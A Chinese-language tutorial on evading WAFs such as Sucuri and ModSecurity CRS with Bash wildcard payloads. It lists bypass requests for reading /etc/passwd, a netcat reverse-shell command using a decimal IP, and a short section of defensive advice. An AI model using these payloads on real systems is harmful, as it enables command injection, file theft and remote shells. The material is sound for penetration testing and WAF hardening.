Bypass Waf 的技巧(一)
字数 1128 2025-08-27 12:33:23

Bypass WAF 技巧:利用通配符绕过Web应用防火墙

前言

本文详细介绍了如何利用Linux系统中的通配符特性绕过常见的Web应用防火墙(WAF)规则集,包括Sucuri WAF和ModSecurity OWASP CRS 3.0等。通过巧妙使用通配符,攻击者可以在WAF防护下执行命令、读取敏感文件甚至获取反向shell。

通配符基础知识

Bash通配符特性

Bash标准通配符(也称为通配模式)用于处理多个文件,主要特性包括:

  • ?:匹配任意单个字符
  • *:匹配任意数量字符
  • []:匹配指定范围内的字符

通配符执行命令示例

  1. 执行ls命令

    /???/?s
    
  2. 读取passwd文件

    /???/??t /???/??ss??
    

    这会被解释为/bin/cat /etc/passwd

  3. 执行反向shell

    /???/n? -e /???/b??h 2130706433 1337
    

    其中2130706433127.0.0.1的长整型表示

WAF绕过技术详解

1. 文件读取绕过

传统方式:

/bin/cat /etc/passwd

绕过方式:

/???/??t /???/??ss??

字符使用:/ ? t s

2. 反向shell绕过

传统方式:

/bin/nc 127.0.0.1 1337

绕过方式:

/???/n? 2130706433 1337

字符使用:/ ? n [0-9]

3. 文件枚举技术

使用echo命令枚举文件和目录:

echo /*/*ss*

针对不同WAF的绕过方法

Sucuri WAF绕过

Sucuri WAF通常会拦截包含/etc/passwd/bin/ls等敏感路径的请求,但允许使用通配符:

被拦截的请求:

/?cmd=cat+/etc/passwd

成功绕过的请求:

/?cmd=%2f???%2f??t%20%2f???%2fp??s??

ModSecurity OWASP CRS 3.0绕过

ModSecurity的防护级别分为PL0-PL4,不同级别的绕过策略:

PL0

完全禁用许多规则,payload可直接执行

PL1/PL2

拦截标准OS文件访问尝试,但允许通配符:

/?cmd=/???/??t /???/??ss??

PL3

会检测重复非字符,但可使用少量问号绕过:

c=/?in/cat+/et?/passw?

PL4

最严格级别,基本无法使用通配符绕过,因为限制了字符范围:

ASCII: 38,44-46,48-58,61,65-90,95,97-122

高级技巧

  1. IP地址转换

    • 使用长整型表示IP地址(如127.0.0.1转为2130706433
    • 避免使用点字符.,减少被检测风险
  2. 命令变体

    • 对于不同系统的nc版本:
    /???/?c.e /???/b??h 2130706433 1337
    
  3. 字符限制下的payload构造

    • 在严格字符限制下,尽量使用字母和数字构造最短路径

防御建议

  1. WAF配置建议

    • 启用最高防护级别(PL4)
    • 限制非必要字符的使用
    • 监控异常字符组合
  2. 应用层防护

    • 输入验证和过滤
    • 最小权限原则
    • 避免直接执行用户输入
  3. 日志监控

    • 记录所有包含通配符的请求
    • 设置异常请求警报

总结

通配符绕过技术展示了WAF规则集的局限性,特别是在Linux系统环境下。防御者需要了解这些技术以更好地配置防护措施,而渗透测试人员则可以利用这些方法评估系统安全性。最重要的是,WAF不应是唯一的安全防线,而应作为深度防御策略的一部分。

Bypass WAF 技巧:利用通配符绕过Web应用防火墙 前言 本文详细介绍了如何利用Linux系统中的通配符特性绕过常见的Web应用防火墙(WAF)规则集,包括Sucuri WAF和ModSecurity OWASP CRS 3.0等。通过巧妙使用通配符,攻击者可以在WAF防护下执行命令、读取敏感文件甚至获取反向shell。 通配符基础知识 Bash通配符特性 Bash标准通配符(也称为通配模式)用于处理多个文件,主要特性包括: ? :匹配任意单个字符 * :匹配任意数量字符 [] :匹配指定范围内的字符 通配符执行命令示例 执行ls命令 : 读取passwd文件 : 这会被解释为 /bin/cat /etc/passwd 执行反向shell : 其中 2130706433 是 127.0.0.1 的长整型表示 WAF绕过技术详解 1. 文件读取绕过 传统方式: 绕过方式: 字符使用: / ? t s 2. 反向shell绕过 传统方式: 绕过方式: 字符使用: / ? n [0-9] 3. 文件枚举技术 使用echo命令枚举文件和目录: 针对不同WAF的绕过方法 Sucuri WAF绕过 Sucuri WAF通常会拦截包含 /etc/passwd 或 /bin/ls 等敏感路径的请求,但允许使用通配符: 被拦截的请求: 成功绕过的请求: ModSecurity OWASP CRS 3.0绕过 ModSecurity的防护级别分为PL0-PL4,不同级别的绕过策略: PL0 完全禁用许多规则,payload可直接执行 PL1/PL2 拦截标准OS文件访问尝试,但允许通配符: PL3 会检测重复非字符,但可使用少量问号绕过: PL4 最严格级别,基本无法使用通配符绕过,因为限制了字符范围: 高级技巧 IP地址转换 : 使用长整型表示IP地址(如 127.0.0.1 转为 2130706433 ) 避免使用点字符 . ,减少被检测风险 命令变体 : 对于不同系统的nc版本: 字符限制下的payload构造 : 在严格字符限制下,尽量使用字母和数字构造最短路径 防御建议 WAF配置建议 : 启用最高防护级别(PL4) 限制非必要字符的使用 监控异常字符组合 应用层防护 : 输入验证和过滤 最小权限原则 避免直接执行用户输入 日志监控 : 记录所有包含通配符的请求 设置异常请求警报 总结 通配符绕过技术展示了WAF规则集的局限性,特别是在Linux系统环境下。防御者需要了解这些技术以更好地配置防护措施,而渗透测试人员则可以利用这些方法评估系统安全性。最重要的是,WAF不应是唯一的安全防线,而应作为深度防御策略的一部分。